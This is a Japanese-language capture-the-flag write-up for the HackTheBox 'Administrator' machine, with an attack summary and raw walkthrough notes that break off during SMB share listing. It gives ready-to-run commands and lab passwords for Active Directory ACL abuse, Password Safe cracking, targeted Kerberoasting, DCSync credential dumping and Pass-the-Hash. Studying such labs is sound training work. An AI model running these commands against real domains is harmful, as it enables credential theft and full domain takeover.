Administrator¶
Flag-Critical Knowledge¶
Kerberos / AD では時刻同期が重要¶
Kerberos を使う列挙・認証では、攻撃端末と DC の時刻ずれが原因で失敗することがある。clock-skew を見たら先に時刻を合わせる。
sudo nmap -sU -p123 --script ntp-info,clock-skew 10.129.17.11
sudo nmap -p445 --script smb2-time,clock-skew 10.129.17.11
sudo ntpdate 10.129.17.11
FTP / SMB 一括ダウンロード¶
FTP や SMB で読める共有・ホームディレクトリは、手動で1ファイルずつ見るより一括取得してからローカル検索する。
ftp一括ダウンロード
lftp -u Olivia,ichliebedich 10.129.17.11 -e 'mirror / ./ftp_download; bye'
lftp -u benjamin,'NewPassw0rd!' 10.129.17.11 -e 'mirror / ./ftp_download; bye'
smb一括ダウンロード
mkdir -p loot/smb-SYSVOL
cd loot/smb-SYSVOL
smbclient //10.129.17.11/SYSVOL -U 'Olivia%ichliebedich' -c 'recurse ON; prompt OFF; mget *'
Password Safe は John で解析できる¶
.psafe3 は Password Safe V3 database。pwsafe2john で John 用 hash に変換して、マスターパスワードを解析する。
python3 /usr/share/john/pwsafe2john.py ftp_download/Backup.psafe3 > psafe.hash
john psafe.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show psafe.hash
ユーザへの GenericWrite は targeted Kerberoasting に使える¶
ユーザオブジェクトに対する GenericWrite がある場合、一時的に SPN を追加して Kerberoast できる。Administrator では Emily から Ethan の password を取るポイント。
wget -O targetedKerberoast.py https://raw.githubusercontent.com/ShutdownRepo/targetedKerberoast/main/targetedKerberoast.py
python3 targetedKerberoast.py -v \
-d administrator.htb \
-u emily \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
--dc-ip 10.129.17.11 \
--request-user ethan \
-o ethan.hash
hashcat -m 13100 ethan.hash /usr/share/wordlists/rockyou.txt
DCSync は Domain Admin でなくてもレプリケーション権限があれば実行できる¶
DCSync に必要なのは Domain Admin 権限そのものではなく、ドメインオブジェクト上のレプリケーション権限。GetChanges と GetChangesAll があれば、Domain Admin でなくても NTDS の secrets を取得できる。
impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.129.17.11 -dc-ip 10.129.17.11
トリガー、攻撃パターン¶
ACL チェーン: GenericAll / ForceChangePassword¶
BloodHound で次の ACL パスを見つけたら、パスワード変更で横展開する。
OLIVIA@ADMINISTRATOR.HTB
-- GenericAll -->
MICHAEL@ADMINISTRATOR.HTB
-- ForceChangePassword -->
BENJAMIN@ADMINISTRATOR.HTB
攻撃パターン:
GenericAllまたはForceChangePasswordを持つユーザで、次のユーザの password を変更する。- 変更後の資格情報を SMB / WinRM / FTP で試す。
ファイル形式トリガー: psafe3¶
FTP から Backup.psafe3 を見つけたら、Password Safe と判断して pwsafe2john にかける。
Backup.psafe3
→ pwsafe2john
→ john
→ Password Safeのマスターパスワード
→ Emily資格情報
ACL トリガー: GenericWrite to User¶
BloodHound で Emily から Ethan への GenericWrite を見つけたら、targeted Kerberoasting を狙う。
EMILY@ADMINISTRATOR.HTB
-- GenericWrite -->
ETHAN@ADMINISTRATOR.HTB
攻撃パターン:
- 対象ユーザに一時的な SPN を追加する。
- TGS hash を取得する。
- SPN を戻す。
- hashcat で password を解析する。
権限トリガー: GetChanges / GetChangesAll¶
Ethan にドメインへの replication 権限がある場合、shell が取れなくても DCSync を試す。
ETHAN@ADMINISTRATOR.HTB
└─ ドメインオブジェクト ADMINISTRATOR.HTB に対してレプリケーション権限を持つ
├─ GetChanges : 通常のディレクトリ変更情報を取得できる
└─ GetChangesAll : password hash など秘密属性も取得できる
⇒ Ethan の資格情報で DCSync できる
攻撃パターン:
secretsdumpの DRSUAPI method で NTDS secrets を取得する。- Administrator の NTLM hash を得たら、Pass-the-Hash で WinRM に入る。
attack summary¶
Assumed breach: Olivia
→ BloodHoundでACL確認
→ OliviaのGenericAllでMichaelのパスワード変更
→ MichaelのForceChangePasswordでBenjaminのパスワード変更
→ FTPからBackup.psafe3取得
→ pwsafe2john / johnでPassword Safe解析
→ Emily資格情報取得
→ WinRMでuser flag
→ EmilyのGenericWriteでEthanをtargeted Kerberoast
→ Ethan資格情報取得
→ DCSyncでAdministrator NTLM hash取得
→ Pass-the-HashでWinRM
→ root flag
walkthrough(生メモ)¶
10.129.17.11 dc.administrator.htb
0. 前提・作業メモ¶
このマシンは Assumed breach（侵害前提）の想定で開始する。実案件の Windows ペンテストでも、最初から一部の資格情報を渡されて内部の権限関係を追うケースがある。
初期資格情報は以下。
Username: Olivia
Password: ichliebedich
※（スクショ: 初期資格情報画面。該当スクショがあればここに差し込み）
参考にしたメモ。
- Password Safeのパスワード解析：pwsafe2john徹底解説
- https://omomuki-tech.com/archives/1050
- walkthroughでわかりやすかったもの
- https://medium.com/@AndrewBonetello/htb-administrator-walkthrough-3991bba0d4e4
- https://medium.com/@Fasil713/htb-administrator-walkthrough-41df31e9aa03
補足メモ。
- GenericWrite なので、Shadow Credentials（certipy shadow）でもできるかも、と考えた。
- 実際には Shadow Credentials は試したが、最終的にはできなかった。
- どこで Ethan のパスワードにつながる情報が増えるのかを BloodHound の取得タイミングごとに確認した。
BloodHound の取得メモ。
Olivia
DC_10.129.12.82_2026-07-26_033003_bloodhound.zip
⇒最初からethanのパス出てる・・・
benjamin
DC_10.129.12.82_2026-07-26_035930_bloodhound.zip
emily
DC_10.129.12.82_2026-07-26_044255_bloodhound.zip
ethan
DC_10.129.12.82_2026-07-26_061730_bloodhound.zip
1. ホスト名の確認と /etc/hosts 追加¶
まず nxc でSMBからホスト情報を取り、/etc/hosts に登録する。
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ sudo nxc smb 10.129.17.11 --generate-hosts-file /etc/hosts
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing LDAP protocol database
[*] Initializing WINRM protocol database
[*] Initializing RDP protocol database
[*] Initializing WMI protocol database
[*] Initializing MSSQL protocol database
[*] Initializing NFS protocol database
[*] Initializing VNC protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Copying default configuration file
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
⇒/etc/hostsに追加可能
2. ポートスキャン¶
開いているサービスを確認する。FTP / DNS / Kerberos / LDAP / SMB / WinRM が見えるため、Active Directory として列挙していく。
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-25 18:13 JST
Nmap scan report for 10.129.17.11
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-25 16:13:23Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
60936/tcp open msrpc Microsoft Windows RPC
60941/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
60946/tcp open msrpc Microsoft Windows RPC
60955/tcp open msrpc Microsoft Windows RPC
60968/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m43s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-07-25T16:14:17
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.31 seconds
[!!!] Domain Controller found on 10.129.17.11
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-25 18:16 JST
Warning: 10.129.17.11 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.17.11
Host is up (0.097s latency).
Not shown: 11 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus (generic dns response: SERVFAIL)
69/udp open|filtered tftp
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-25 16:16:31Z)
123/udp open ntp NTP v3
| ntp-info:
|_
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m51s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.65 seconds
[!!!] DNS server found on 10.129.17.11
[*] Scan completed.
┌──(kali@kali)-[~/htb/Administrator]
└─$
3. 時刻ずれの確認¶
Kerberos を扱うため、DCとの時刻差は重要。clock-skew が大きいので、必要ならKali側の時刻同期を行う。
Host script results:
|_clock-skew: 6h59m51s
sudo nmap -sU -p123 --script ntp-info,clock-skew 10.129.17.11
sudo nmap -p445 --script smb2-time,clock-skew 10.129.17.11
sudo ntpdate 10.129.17.11
4. DNS列挙¶
ゾーン転送やSRVレコードを確認し、DC名とドメイン構成を把握する。
dns列挙
53/udp open domain Simple DNS Plus (generic dns response: SERVFAIL)
53/tcp open domain Simple DNS Plus
dig @10.129.17.11 administrator.htb any
dig axfr @10.129.17.11 administrator.htb
dnsrecon -d administrator.htb -n 10.129.17.11
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ dig @10.129.17.11 administrator.htb any
; <<>> DiG 9.20.9-1-Debian <<>> @10.129.17.11 administrator.htb any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64307
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;administrator.htb. IN ANY
;; ANSWER SECTION:
administrator.htb. 600 IN A 10.129.17.11
administrator.htb. 3600 IN NS dc.administrator.htb.
administrator.htb. 3600 IN SOA dc.administrator.htb. hostmaster.administrator.htb. 124 900 600 86400 3600
;; ADDITIONAL SECTION:
dc.administrator.htb. 3600 IN A 10.129.17.11
;; Query time: 75 msec
;; SERVER: 10.129.17.11#53(10.129.17.11) (TCP)
;; WHEN: Sun Jul 26 01:37:50 JST 2026
;; MSG SIZE rcvd: 142
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ dig axfr @10.129.17.11 administrator.htb
; <<>> DiG 9.20.9-1-Debian <<>> axfr @10.129.17.11 administrator.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ dnsrecon -d administrator.htb -n 10.129.17.11
[*] std: Performing General Enumeration against: administrator.htb...
[-] DNSSEC is not configured for administrator.htb
[*] SOA dc.administrator.htb 10.129.17.11
[*] NS dc.administrator.htb 10.129.17.11
[*] A administrator.htb 10.129.17.11
[*] Enumerating SRV Records
[+] SRV _gc._tcp.administrator.htb dc.administrator.htb 10.129.17.11 3268
[+] SRV _kerberos._udp.administrator.htb dc.administrator.htb 10.129.17.11 88
[+] SRV _kerberos._tcp.administrator.htb dc.administrator.htb 10.129.17.11 88
[+] SRV _ldap._tcp.administrator.htb dc.administrator.htb 10.129.17.11 389
[+] SRV _ldap._tcp.dc._msdcs.administrator.htb dc.administrator.htb 10.129.17.11 389
[+] SRV _ldap._tcp.pdc._msdcs.administrator.htb dc.administrator.htb 10.129.17.11 389
[+] SRV _ldap._tcp.ForestDNSZones.administrator.htb dc.administrator.htb 10.129.17.11 389
[+] SRV _kerberos._tcp.dc._msdcs.administrator.htb dc.administrator.htb 10.129.17.11 88
[+] SRV _ldap._tcp.gc._msdcs.administrator.htb dc.administrator.htb 10.129.17.11 3268
[+] SRV _kpasswd._tcp.administrator.htb dc.administrator.htb 10.129.17.11 464
[+] SRV _kpasswd._udp.administrator.htb dc.administrator.htb 10.129.17.11 464
[+] 11 Records Found
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
5. FTP列挙¶
FTPは開いているが、anonymousでは入れない。取得済みの資格情報も後で試す。
ftp列挙
21/tcp open ftp Microsoft ftpd
nmap --script ftp-anon,ftp-syst -p21 10.129.17.11
ftp 10.129.17.11
curl -v ftp://anonymous:anonymous@10.129.17.11/
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nmap --script ftp-anon,ftp-syst -p21 10.129.17.11
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:40 JST
Nmap scan report for dc.administrator.htb (10.129.17.11)
Host is up (0.074s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-syst:
|_ SYST: Windows_NT
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ curl -v ftp://anonymous:anonymous@10.129.17.11/
* Trying 10.129.17.11:21...
* Connected to 10.129.17.11 (10.129.17.11) port 21
< 220 Microsoft FTP Service
> USER anonymous
< 331 Password required
> PASS anonymous
< 530 User cannot log in.
* Access denied: 530
* closing connection #0
curl: (67) Access denied: 530
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ ftp 10.129.17.11
Connected to 10.129.17.11.
220 Microsoft FTP Service
Name (10.129.17.11:kali): anonymous
331 Password required
Password:
530 User cannot log in.
ftp: Login failed
ftp> exit
221 Goodbye.
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
取得済みのOlivia資格情報でFTPを試すが、OliviaではFTPホームに入れない。
Olivia
ichliebedich
lftp -u Olivia,ichliebedich $T -e 'mirror / ./ftp_download; bye'
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ lftp -u Olivia,ichliebedich 10.129.17.11 -e 'mirror / ./ftp_download; bye'
mirror: Login failed: 530 User cannot log in, home directory inaccessible.
1 error detected
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
6. SMB / RPC列挙¶
匿名セッションとSMB/RPCで得られる情報を確認する。
rpc、smb列挙
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
nxc smb 10.129.17.11
nxc smb 10.129.17.11 -u '' -p ''
nxc smb 10.129.17.11 -u guest -p ''
smbclient -L //10.129.17.11 -N
rpcclient -U "" -N 10.129.17.11
rpcclient -U "" -N 10.129.17.11 -c "enumdomusers"
rpcclient -U "" -N 10.129.17.11 -c "querydispinfo"
enum4linux-ng 10.129.17.11
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -u '' -p ''
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\:
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -u guest -p ''
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [-] administrator.htb\guest: STATUS_ACCOUNT_DISABLED
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient -L //10.129.17.11 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.17.11 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ rpcclient -U "" -N 10.129.17.11
rpcclient $> exit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ enum4linux-ng 10.129.17.11
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 10.129.17.11
[*] Username ......... ''
[*] Random Username .. 'miiwexor'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
=====================================
| Listener Scan on 10.129.17.11 |
=====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
====================================================
| Domain Information via LDAP for 10.129.17.11 |
====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: administrator.htb
===========================================================
| NetBIOS Names and Workgroup/Domain for 10.129.17.11 |
===========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
=========================================
| SMB Dialect Check on 10.129.17.11 |
=========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
===========================================================
| Domain Information via SMB session for 10.129.17.11 |
===========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC
NetBIOS domain name: ADMINISTRATOR
DNS domain: administrator.htb
FQDN: dc.administrator.htb
Derived membership: domain member
Derived domain: ADMINISTRATOR
=========================================
| RPC Session Check on 10.129.17.11 |
=========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
===================================================
| Domain Information via RPC for 10.129.17.11 |
===================================================
[+] Domain: ADMINISTRATOR
[+] Domain SID: S-1-5-21-1088858960-373806567-254189436
[+] Membership: domain member
===============================================
| OS Information via RPC for 10.129.17.11 |
===============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '20348'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
=====================================
| Users via RPC on 10.129.17.11 |
=====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
======================================
| Groups via RPC on 10.129.17.11 |
======================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
======================================
| Shares via RPC on 10.129.17.11 |
======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
=========================================
| Policies via RPC for 10.129.17.11 |
=========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
=========================================
| Printers via RPC for 10.129.17.11 |
=========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 17.12 seconds
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
⇒匿名アクセスが有効。ただしユーザーやグループの詳細列挙には資格情報が必要。
7. Oliviaの資格情報でSMBを列挙¶
Oliviaでは管理共有には入れないが、NETLOGON / SYSVOL は読める。ユーザー一覧、RID、パスワードポリシーも確認する。
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -u Olivia -p "ichliebedich" --shares
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\Olivia:ichliebedich
SMB 10.129.17.11 445 DC [*] Enumerated shares
SMB 10.129.17.11 445 DC Share Permissions Remark
SMB 10.129.17.11 445 DC ----- ----------- ------
SMB 10.129.17.11 445 DC ADMIN$ Remote Admin
SMB 10.129.17.11 445 DC C$ Default share
SMB 10.129.17.11 445 DC IPC$ READ Remote IPC
SMB 10.129.17.11 445 DC NETLOGON READ Logon server share
SMB 10.129.17.11 445 DC SYSVOL READ Logon server share
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -u Olivia -p "ichliebedich" --users
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\Olivia:ichliebedich
SMB 10.129.17.11 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.17.11 445 DC Administrator 2024-10-22 18:59:36 0 Built-in account for administering the computer/domain
SMB 10.129.17.11 445 DC Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.17.11 445 DC krbtgt 2024-10-04 19:53:28 0 Key Distribution Center Service Account
SMB 10.129.17.11 445 DC olivia 2024-10-06 01:22:48 0
SMB 10.129.17.11 445 DC michael 2024-10-06 01:33:37 0
SMB 10.129.17.11 445 DC benjamin 2024-10-06 01:34:56 0
SMB 10.129.17.11 445 DC emily 2024-10-30 23:40:02 0
SMB 10.129.17.11 445 DC ethan 2024-10-12 20:52:14 0
SMB 10.129.17.11 445 DC alexander 2024-10-31 00:18:04 0
SMB 10.129.17.11 445 DC emma 2024-10-31 00:18:35 0
SMB 10.129.17.11 445 DC [*] Enumerated 10 local users: ADMINISTRATOR
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -u Olivia -p "ichliebedich" --rid-brute
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\Olivia:ichliebedich
SMB 10.129.17.11 445 DC 498: ADMINISTRATOR\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.17.11 445 DC 500: ADMINISTRATOR\Administrator (SidTypeUser)
SMB 10.129.17.11 445 DC 501: ADMINISTRATOR\Guest (SidTypeUser)
SMB 10.129.17.11 445 DC 502: ADMINISTRATOR\krbtgt (SidTypeUser)
SMB 10.129.17.11 445 DC 512: ADMINISTRATOR\Domain Admins (SidTypeGroup)
SMB 10.129.17.11 445 DC 513: ADMINISTRATOR\Domain Users (SidTypeGroup)
SMB 10.129.17.11 445 DC 514: ADMINISTRATOR\Domain Guests (SidTypeGroup)
SMB 10.129.17.11 445 DC 515: ADMINISTRATOR\Domain Computers (SidTypeGroup)
SMB 10.129.17.11 445 DC 516: ADMINISTRATOR\Domain Controllers (SidTypeGroup)
SMB 10.129.17.11 445 DC 517: ADMINISTRATOR\Cert Publishers (SidTypeAlias)
SMB 10.129.17.11 445 DC 518: ADMINISTRATOR\Schema Admins (SidTypeGroup)
SMB 10.129.17.11 445 DC 519: ADMINISTRATOR\Enterprise Admins (SidTypeGroup)
SMB 10.129.17.11 445 DC 520: ADMINISTRATOR\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.17.11 445 DC 521: ADMINISTRATOR\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.17.11 445 DC 522: ADMINISTRATOR\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.17.11 445 DC 525: ADMINISTRATOR\Protected Users (SidTypeGroup)
SMB 10.129.17.11 445 DC 526: ADMINISTRATOR\Key Admins (SidTypeGroup)
SMB 10.129.17.11 445 DC 527: ADMINISTRATOR\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.17.11 445 DC 553: ADMINISTRATOR\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.17.11 445 DC 571: ADMINISTRATOR\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.17.11 445 DC 572: ADMINISTRATOR\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.17.11 445 DC 1000: ADMINISTRATOR\DC$ (SidTypeUser)
SMB 10.129.17.11 445 DC 1101: ADMINISTRATOR\DnsAdmins (SidTypeAlias)
SMB 10.129.17.11 445 DC 1102: ADMINISTRATOR\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.17.11 445 DC 1108: ADMINISTRATOR\olivia (SidTypeUser)
SMB 10.129.17.11 445 DC 1109: ADMINISTRATOR\michael (SidTypeUser)
SMB 10.129.17.11 445 DC 1110: ADMINISTRATOR\benjamin (SidTypeUser)
SMB 10.129.17.11 445 DC 1111: ADMINISTRATOR\Share Moderators (SidTypeAlias)
SMB 10.129.17.11 445 DC 1112: ADMINISTRATOR\emily (SidTypeUser)
SMB 10.129.17.11 445 DC 1113: ADMINISTRATOR\ethan (SidTypeUser)
SMB 10.129.17.11 445 DC 3601: ADMINISTRATOR\alexander (SidTypeUser)
SMB 10.129.17.11 445 DC 3602: ADMINISTRATOR\emma (SidTypeUser)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc smb 10.129.17.11 -u Olivia -p "ichliebedich" --pass-pol
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [+] administrator.htb\Olivia:ichliebedich
SMB 10.129.17.11 445 DC [+] Dumping password info for domain: ADMINISTRATOR
SMB 10.129.17.11 445 DC Minimum password length: 7
SMB 10.129.17.11 445 DC Password history length: 24
SMB 10.129.17.11 445 DC Maximum password age: 41 days 23 hours 53 minutes
SMB 10.129.17.11 445 DC
SMB 10.129.17.11 445 DC Password Complexity Flags: 000000
SMB 10.129.17.11 445 DC Domain Refuse Password Change: 0
SMB 10.129.17.11 445 DC Domain Password Store Cleartext: 0
SMB 10.129.17.11 445 DC Domain Password Lockout Admins: 0
SMB 10.129.17.11 445 DC Domain Password No Clear Change: 0
SMB 10.129.17.11 445 DC Domain Password No Anon Change: 0
SMB 10.129.17.11 445 DC Domain Password Complex: 0
SMB 10.129.17.11 445 DC
SMB 10.129.17.11 445 DC Minimum password age: 1 day 4 minutes
SMB 10.129.17.11 445 DC Reset Account Lockout Counter: 30 minutes
SMB 10.129.17.11 445 DC Locked Account Duration: 30 minutes
SMB 10.129.17.11 445 DC Account Lockout Threshold: None
SMB 10.129.17.11 445 DC Forced Log off Time: Not Set
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/ADMIN$ -U "Olivia%ichliebedich"
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/C$ -U "Olivia%ichliebedich"
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/IPC$ -U "Olivia%ichliebedich"
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/NETLOGON -U "Olivia%ichliebedich"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Oct 5 04:48:08 2024
.. D 0 Sat Oct 5 04:54:15 2024
5606911 blocks of size 4096. 2080657 blocks available
smb: \> exit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ echo test > test.txt
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/NETLOGON -U "Olivia%ichliebedich"
Try "help" to get a list of possible commands.
smb: \> put test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
smb: \> exit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/SYSVOL -U "Olivia%ichliebedich"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Oct 5 04:48:08 2024
.. D 0 Sat Oct 5 04:48:08 2024
